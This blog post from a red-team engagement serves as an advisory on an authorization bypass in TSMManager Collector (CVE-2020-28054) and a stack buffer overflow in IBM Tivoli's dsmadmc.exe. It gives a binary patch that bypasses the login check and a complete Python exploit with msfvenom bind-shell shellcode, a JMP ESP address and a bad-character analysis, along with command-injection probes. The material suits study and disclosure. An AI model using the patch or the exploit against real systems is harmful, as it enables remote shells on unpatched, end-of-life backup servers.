Back to Posts

Share this post

Tivoli Madness

Posted by: voidsec

Reading Time: 15 minutes

TL; DR: this blog post serves as an advisory for both:

  • CVE-2020-28054: An Authorization Bypass vulnerability affecting JamoDat – TSMManager Collector v. <=
  • A Stack Based Buffer Overflow affecting IBM Tivoli Storage Manager – ITSM Administrator Client Command Line Administrative Interface (dsmadmc.exe) Version 5, Release 2, Level 0.1.

Unfortunately, after I had one of the rudest encounters with an Hackerone’s triager, these are the takeaways:

  • IBM Tivoli Storage Manager has reached its end of life support and will not be patched.
  • No CVE number was released.
  • I cannot verify if this vulnerability is also affecting the newer IBM Spectrum Protect, so, good luck with that.

During a recent red-team engagement I had the opportunity to test the backup infrastructure of one of my clients. One of the flags was to breach, if possible, the server responsible for backup collection and storage.

All the scripts, patched clients and documentation can be found on my GitHub repository.

Tivoli Architecture 101

Tivoli’s Architecture could be summarized as follows:

  • Agents installed on servers will gather and push backups to a remote TSM Server.
  • TSM Server keeps instances of different backups (e.g. one for the DBs, one for Windows Servers, one for AIX, etc.). Those instances are abstraction layers for the physical devices where the backups will be stored (Data Domains).
  • Data Domains are DELL hardware (DELL EMC Data Domain) acting as Network Attached Storage (NAS) devices. Between the peculiarities of Data Domains are the obvious RAID 6 storage, the possibility of backup encryption, data deduplication, compression, and a less obvious Vault Storage. Vault Partitions are specific areas where stored backups are immutable. Think of it as a data bunker.

Despite the schematic nature of the above diagram, the architecture is quite complex. Nevertheless, a careful reader could spot that if the TSM Server is breached, an attacker would have some degree of control over the Instances configurations and the whole TSM Server; data domains should still be safe as they have their own set of credentials, ACLs, and rules (providing no cleartext configurations or credentials can be discovered on the TSM Server).

All my efforts were then focused on breaching the TSM Server.

JamoDat – TSMManager CVE-2020-28054

One of the first things I have discovered were three different open ports on the TSM Server:

  • HTTP – TCP/1950 – tsmmgr_aweb.exe – TSMManager Administrative Interface.
  • HTTP – TCP/1951 – tsmmgr_cweb.exe – TSMManager Interface.
  • Proprietary Protocol – TCP/1955 – tsmmgr_serv.exe – Used by the “Viewer” component to communicate with the “Collector”.

All these services can be reconducted to the JamoDat – TSMManager software.

TSMManager is composed of two main components:

  • Collector, installed on the TSM Server
  • Viewer, its client

While ports 1950 & 1951 host two similar web applications:

Affected by two flaws:

  • Reflected XSS – in “IW_TSMManagerAdmweb” & “IW_TSMManagerCusweb” cookies’ values:

  • Modal Views that can be accessed without a valid session; inspecting the HTML source code of the page, different “links” can be viewed under the yellow “welcome” banner.

The third and last TCP port (1955) uses a proprietary protocol to communicate. Specifically, using the JamoDat – TSMManager Viewer, we can interact with the remote Connector service.

After spending some time with Wireshark, capturing and analyzing different packets, I was able to produce the following Python script, used to request the version number of a remote TSMManager Collector.

# -*- coding: utf-8 -*-
JamoDat – TSMManager Viewer, python client
Paolo Stagno aka VoidSec -
import struct
import socket
import sys
import argparse

parser = argparse.ArgumentParser(prog="", description="Pyhton Client for JamoDat – TSMManager by VoidSec")
parser.add_argument("-t", "--target", default="", dest="target", help="Target IP Address")
parser.add_argument("-p", "--port", default=1955, type=int, dest="port", help="Target TCP Port")
args = parser.parse_args()

target =
port = args.port

""" GetVersion

> Request:
00000000  09 00 00 00 00 00 00 00  ff 00 63 00               ........ ..c.
0000000C  4f 07 07 4c 07 07 07 07  07                        O..L.... .

> Response:
00000000  09 00 00 00 00 00 00 00  ff 00 63 00               ........ ..c.
0000000C  36 2e 33 2e 30 2e 32 33  00               .
GetVersion = bytearray(b"\x09\x00\x00\x00\x00\x00\x00\x00\xff\x00\x63\x00\x4f\x07\x07\x4c\x07\x07\x07\x07\x07")

def connection(target, port, method):
    :param target: target IP Address
    :param port: target TCP Port
    :param method: method to use
    :return data: return data received from the socket
    data = ""
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target, port))
    except socket.error as e:

    return data

data = connection(target, port, GetVersion)
print("TSMManager Collector Reported Version: {}".format(data[12:19]))

The main idea behind this script was to build a fuzzer for the TSMManager Collector, find an easy crash (given the fact that all of its processes have ASLR, DEP, CF Guard disabled and are running as NT AUTHORITY\SYSTEM: LOL) to weaponize and gain Arbitrary Code Execution on the TSM Server machine.

Unfortunately, due to time constraints, I switched to another approach.

TSMManager Viewer – Reverse Engineering & Binary Patching

Looking at the TSMManager Viewer the “Bypass logon” functionality attracted my attention.

With this functionality, it was possible to logon-on to the TSMManager Collector without providing any credentials but with limited available functionalities.

So, I have decided to reverse engineer and patch the TSMManager Viewer in order to unlock its full functionalities, hoping for the Collector (server-side) to not really validating the authentication procedure and… I was right. The Collector was not enforcing if the user has successfully completed the login process.

While the Logged-In Function call can be found at Virtual Address (VA) 0x00C8DDBB

00C8DDBB E8 14F8FFFF call <tsmmgr_client.sub_C8D5D4> LOGGED IN FUNCTION CALL

the Logged-In check happens at VA  0x00C8DDF7

00C8DDF7 72 1D jb tsmmgr_client.C8DE16 CHECK IF WE ARE LOGGED IN

Patching the original JB assembly instruction with a JMP, will allow us to always return a “valid authentication” status for the client, allowing every functionality to be unlocked.

00C8DDF7 EB 1D jmp tsmmgr_client.C8DE16 CHECK IF WE ARE LOGGED IN

So, if the Viewer has been modified (binary patched) and the “Bypass Login” functionality is being used, an attacker can request every Collector’s functionality as if they were a properly logged-in user: administrating connected instances, reviewing logs, editing configurations, accessing the instances’ consoles, accessing hardware configurations, etc.

Even if I was able to exploit this vulnerability, I was not granted access nor control on the remote ISP servers as no credentials were sent with the request.

I had to find another path.

IBM Tivoli Storage Manager

TSMManager Collector comes bundled with another software used in its underlying processes:

IBM Tivoli Storage Manager – ITSM Administrator Client Command Line Administrative Interface (dsmadmc.exe) Version 5, Release 2, Level 0.1, which is vulnerable to a stack-based buffer overflow in the ‘id’ parameter (hat tip to Andrea Baesso).

Providing the ‘id’ parameter with sufficient characters, we will trigger a controlled crash:

IBM Tivoli Storage Manager
Command Line Administrative Interface - Version 5, Release 2, Level 0.1
(c) Copyright by IBM Corporation and other(s) 1990, 2003. All Rights Reserved.


IBM Tivoli Storage Manager
Build date:  Tue Jun 24 15:21:11 2003

dsmadmc.exe caused exception C0000005 (EXCEPTION_ACCESS_VIOLATION) at 0023:42424242

Register dump:
EAX=00000000  EBX=023A4206  ECX=1C6D2F00  EDX=00000000  ESI=00000000
EDI=00000000  EBP=023A07B0  ESP=0019E314  EIP=42424242  FLG=00010212
CS=0023   DS=002B  SS=002B  ES=002B   FS=0053  GS=002B

Crash dump successfully written to file 'dsmcrash.dmp'

Stack Trace:

With the application gracefully showing us the register contents and creating a “dmp” file.

Exploiting this buffer overflow was an easy task as it is a vanilla buffer overflow with EIP control, the only tricky part comes to the bad characters that must be avoided.

Debugging dsmadmc.exe show us some interesting details:

In sub 0x00436942 there is a call to “putc” function 0043697C FF15 24085000 call dword ptr ds:[<&putc>] putc

As can be shown in the image below, providing enough characters to compensate for the 00436988 83C4 44 add esp, 0x44 instruction will lead us to have the next 4 bytes, pointed by the ESP register, to overwrite the return function pointer that will then be triggered by the 0043698B C3 ret instruction transferring the control flow to that address.

After couple more minutes I was able to create the following Python code that will spawn a bind shell.

Full title:         IBM Tivoli Storage Manager - ITSM Administrator Client Command Line Administrative Interface (dsmadmc.exe) Version 5, Release 2, Level 0.1  - 'id' Field Stack Based Buffer Overflow
CVE:                N/A
Exploit Author:     Paolo Stagno aka VoidSec - [email protected] -
Vendor Homepage:
Tested on:          Windows 10 Pro v.10.0.19041 Build 19041
Category:           local exploit
Platform:           windows
Usage:              IBM Tivoli Storage Manager > in the "id" field paste the content of "IBM_TSM_v." and press "ENTER"

PS C:\Users\user\Desktop> Import-Module .\Get-PESecurity.psm1
PS C:\Users\user\Desktop> Get-PESecurity -file "dsmadmc.exe"                   
FileName         : dsmadmc.exe
ARCH             : I386
DotNET           : False
ASLR             : True
DEP              : True
Authenticode     : False
StrongNaming     : N/A
SafeSEH          : False
ControlFlowGuard : False
HighentropyVA    : False

# [ buffer                              ]
# [ 68 byte | EIP | rest of the buffer  ]
#                   ^_ESP
EIP contains normal pattern : 0x33634132 (offset 68)
ESP (0x0019e314) points at offset 72 in normal pattern (length 3928)

JMP ESP Pointers:
0x028039eb : jmp esp |  {PAGE_EXECUTE_READ} [dbghelp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.0.0017.0
0x02803d7b : jmp esp |  {PAGE_EXECUTE_READ} [dbghelp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.0.0017.0 
0x02852c21 : jmp esp |  {PAGE_EXECUTE_READ} [dbghelp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.0.0017.0
0x0289fbe3 : call esp |  {PAGE_EXECUTE_READ} [dbghelp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.0.0017.0
0x0289fd2f : call esp |  {PAGE_EXECUTE_READ} [dbghelp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.0.0017.0
0x028823a9 : push esp # ret 0x04 |  {PAGE_EXECUTE_READ} [dbghelp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.0.0017.0

import struct

# 4000 bytes
BAD CHARS:	\x00\x08\x09\x0a\x0d\x1a\x1b\x7f

    asciiprint 	\x20-\x7e

    \x00 -> \x20
       | Comparison results:                           |
       |                        80 81 82 83 84 85 86 87| File
       |                        3f 3f 2c 9f 2c 2e 2b d8| Memory
    80 |88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97| File
       |5e 25 53 3c 4f 3f 5a 3f 3f 60 27 22 22 07 2d 2d| Memory
    90 |98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7| File
       |7e 54 73 3e 6f 3f 7a 59 20 ad 9b 9c 0f 9d dd 15| Memory
    a0 |a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7| File
       |22 63 a6 ae aa 2d 72 5f f8 f1 fd 33 27 e6 14 fa| Memory
    b0 |b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7| File
       |2c 31 a7 af ac ab 5f a8 41 41 41 41 8e 8f 92 80| Memory
    c0 |c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7| File
       |45 90 45 45 49 49 49 49 44 a5 4f 4f 4f 4f 99 78| Memory
    d0 |d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7| File
       |4f 55 55 55 9a 59 5f e1 85 a0 83 61 84 86 91 87| Memory
    e0 |e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7| File
       |8a 82 88 89 8d a1 8c 8b 64 a4 95 a2 93 6f 94 f6| Memory
    f0 |f8 f9 fa fb fc fd fe ff                        | File
       |6f 97 a3 96 81 79 5f 98                        | Memory
# msfvenom -p windows/shell_bind_tcp -f python -v shellcode -a x86 --platform windows -b "\x00\x08\x09\x0a\x0d\x1a\x1b\x7f" -e x86/alpha_mixed BufferRegister=ESP --smallest
shellcode =  b""
shellcode += b"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"
shellcode += b"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51"
shellcode += b"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
shellcode += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x78\x59\x78"
shellcode += b"\x6b\x4d\x4b\x6b\x69\x62\x54\x61\x34\x6a\x54"
shellcode += b"\x76\x51\x6a\x72\x6c\x72\x54\x37\x45\x61\x4f"
shellcode += b"\x39\x61\x74\x4e\x6b\x62\x51\x66\x50\x6c\x4b"
shellcode += b"\x53\x46\x34\x4c\x6c\x4b\x32\x56\x35\x4c\x6e"
shellcode += b"\x6b\x67\x36\x37\x78\x6e\x6b\x43\x4e\x51\x30"
shellcode += b"\x4c\x4b\x67\x46\x74\x78\x50\x4f\x72\x38\x42"
shellcode += b"\x55\x6c\x33\x30\x59\x56\x61\x38\x51\x39\x6f"
shellcode += b"\x49\x71\x73\x50\x4e\x6b\x70\x6c\x31\x34\x54"
shellcode += b"\x64\x6e\x6b\x73\x75\x67\x4c\x4e\x6b\x66\x34"
shellcode += b"\x46\x48\x74\x38\x45\x51\x69\x7a\x4c\x4b\x31"
shellcode += b"\x5a\x67\x68\x6e\x6b\x42\x7a\x51\x30\x46\x61"
shellcode += b"\x6a\x4b\x68\x63\x36\x54\x47\x39\x6c\x4b\x35"
shellcode += b"\x64\x6c\x4b\x67\x71\x5a\x4e\x74\x71\x6b\x4f"
shellcode += b"\x64\x71\x6f\x30\x59\x6c\x6c\x6c\x6f\x74\x39"
shellcode += b"\x50\x50\x74\x43\x37\x49\x51\x58\x4f\x34\x4d"
shellcode += b"\x77\x71\x6f\x37\x5a\x4b\x6c\x34\x35\x6b\x53"
shellcode += b"\x4c\x35\x74\x35\x78\x73\x45\x48\x61\x6c\x4b"
shellcode += b"\x42\x7a\x75\x74\x66\x61\x5a\x4b\x50\x66\x4c"
shellcode += b"\x4b\x46\x6c\x70\x4b\x4e\x6b\x31\x4a\x77\x6c"
shellcode += b"\x76\x61\x68\x6b\x4e\x6b\x53\x34\x6c\x4b\x53"
shellcode += b"\x31\x4a\x48\x4e\x69\x37\x34\x56\x44\x65\x4c"
shellcode += b"\x70\x61\x38\x43\x4f\x42\x45\x58\x61\x39\x38"
shellcode += b"\x54\x6f\x79\x48\x65\x4f\x79\x59\x52\x43\x58"
shellcode += b"\x4c\x4e\x32\x6e\x36\x6e\x7a\x4c\x72\x72\x49"
shellcode += b"\x78\x4f\x6f\x4b\x4f\x6b\x4f\x6b\x4f\x4e\x69"
shellcode += b"\x42\x65\x54\x44\x6f\x4b\x73\x4e\x68\x58\x4b"
shellcode += b"\x52\x44\x33\x6c\x47\x75\x4c\x37\x54\x42\x72"
shellcode += b"\x4d\x38\x6e\x6e\x69\x6f\x59\x6f\x49\x6f\x6d"
shellcode += b"\x59\x57\x35\x73\x38\x70\x68\x32\x4c\x52\x4c"
shellcode += b"\x67\x50\x71\x51\x75\x38\x65\x63\x76\x52\x76"
shellcode += b"\x4e\x42\x44\x61\x78\x34\x35\x54\x33\x71\x75"
shellcode += b"\x73\x42\x70\x30\x79\x4b\x6b\x38\x61\x4c\x31"
shellcode += b"\x34\x57\x7a\x4c\x49\x59\x76\x31\x46\x69\x6f"
shellcode += b"\x33\x65\x67\x74\x4f\x79\x6a\x62\x32\x70\x6d"
shellcode += b"\x6b\x4d\x78\x6f\x52\x42\x6d\x4f\x4c\x6f\x77"
shellcode += b"\x55\x4c\x75\x74\x53\x62\x79\x78\x61\x4f\x79"
shellcode += b"\x6f\x6b\x4f\x79\x6f\x30\x68\x42\x4f\x62\x58"
shellcode += b"\x63\x68\x77\x50\x73\x58\x70\x61\x30\x67\x33"
shellcode += b"\x55\x50\x42\x43\x58\x32\x6d\x70\x65\x61\x63"
shellcode += b"\x32\x53\x76\x51\x69\x4b\x6d\x58\x33\x6c\x51"
shellcode += b"\x34\x35\x5a\x4b\x39\x6b\x53\x72\x48\x70\x58"
shellcode += b"\x47\x50\x55\x70\x57\x50\x42\x48\x62\x50\x63"
shellcode += b"\x47\x70\x6e\x35\x34\x34\x71\x6f\x39\x4c\x48"
shellcode += b"\x30\x4c\x74\x64\x67\x74\x6e\x69\x4b\x51\x54"
shellcode += b"\x71\x58\x52\x62\x72\x36\x33\x62\x71\x71\x42"
shellcode += b"\x79\x6f\x68\x50\x74\x71\x79\x50\x76\x30\x69"
shellcode += b"\x6f\x50\x55\x54\x48\x41\x41"

buff = ""
buff += "A" * eip_offset
buff += struct.pack("<I",0x02c73d7b) #  0x02803d7b cause char modification needs to be written as 0x02c73d7b
buff += shellcode
buff += "C" * (buff_max_length - len(buff))

print("Writing {} bytes".format(len(buff)))
f = open("IBM_TSM_v.", "w")

Execution flow control can be gained via the dbghelp.dll (ASLR: False, Rebase: False, SafeSEH: False) DLL used by the application; specifically using the JMP ESP pointer at 0x02803d7b. Due to the characters’ modification, in order to be able to use this address, we need to write it as 0x02c73d7b; some bytes will be translated once in memory (that’s why the boring bad chars analysis is important): e.g. 0x2c => 0x80; 0x73 => 0x3d

Then, when the “ret” instruction is hit, the JMP ESP instructions pointed at 0x02803d7b will transfer the control flow back to our payload.

After this discovery, I was left with the arduous task of finding a functionality in the “Viewer” component that will trigger and spawn dsmadmc.exe on the “Collector”. Luckily, following Configuration > ISP Server > Add new Server the following window pop-up:

Unfortunately, the buffer overflow vulnerability can be exploited only when dsmadmc.exe is used in “interactive” mode while the Collector spawn dsmadmc.exe in batch or command line usage (e.g. dsmadmc.exe -id=username -pa=pwd) where the id parameter is limited to max 32 characters; not enough to trigger our BoF.

At this point I had the idea to verify if the command line used to spawn dsmadmc.exe could be injected, testing for common OS Command Injection.

I was able to verify the injection using a combination of “Process Hacker” and “Sysinternals: Procmon”.

dsmadmc.exe -id=INJ1 -pa="INJ2" -tab -tcps= -tcpadmin=1500 -commmethod=tcpip select system_priv from admins where admin_name='INJ1'

Couple of things to note here:

  1. dsmadmc.exe is spawned in batch mode; as mentioned before, due to a characters’ limitation, it is impossible to trigger the buffer overflow.
  2. dsmadmc.exe is spawned via the CreateProcessA API call and, as the new process runs in the security context of the parent process, it will retain the NT AUTHORITY\SYSTEM privileges.
  3. -id parameter (INJ1) seems “unescaped”.
  4. -pa parameter (INJ2) is double quote escaped.

dsmadmc.exe is spawned via the CreateProcessA API call which is defined as follow:

BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation

At that point was clear that the plain OS Command Injection was the wrong approach. I’ve then created a simple script to test CreateProcessA behavior and I have discovered that the CreateProcessA/W APIs cannot spawn more than one process at the same time (If I am wrong or I am missing something, please let me know on Twitter or send me an email).

You can try the CreateProcessA behavior by yourself with this code:

#include <windows.h>
#include <stdio.h>
#include <tchar.h>

void _tmain(int argc, TCHAR* argv[])

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    char a[255]="calc.exe & cmd.exe";
    // Start the child process. 
    if (!CreateProcess(
            NULL,           // lpApplicationName;       No module name (use command line)
            a,              // lpCommandLine
            NULL,           // lpProcessAttributes;     Process handle not inheritable
            NULL,           // lpThreadAttributes;      Thread handle not inheritable
            FALSE,          // bInheritHandles;         Set handle inheritance to FALSE
            0,              // dwCreationFlags;         No creation flags
            NULL,           // lpEnvironment;           Use parent's environment block
            NULL,           // lpCurrentDirectory;      Use parent's starting directory 
            &si,            // lpStartupInfo;           Pointer to STARTUPINFO structure
            &pi             // lpProcessInformation;    Pointer to PROCESS_INFORMATION structure
        printf("CreateProcess failed (%d).\n", GetLastError());

    // Wait until child process exits.
    WaitForSingleObject(pi.hProcess, INFINITE);

    // Close process and thread handles. 

In the end, even if I were able to “inject” parameters in the command line, I was unable to force the API to spawn more than the dsmadmc.exe process with its command line. I am missing the last bit needed in my chain to trigger a full remote RCE.

What next?

  1. Create a network protocol level fuzzer for the JamoDat – TSMManager Collector (service listening on port 1955).
  2. Fuzzing as there’s no tomorrow.
  3. CRASH
  4. PoC Reproducing
  5. Exploit
Back to Posts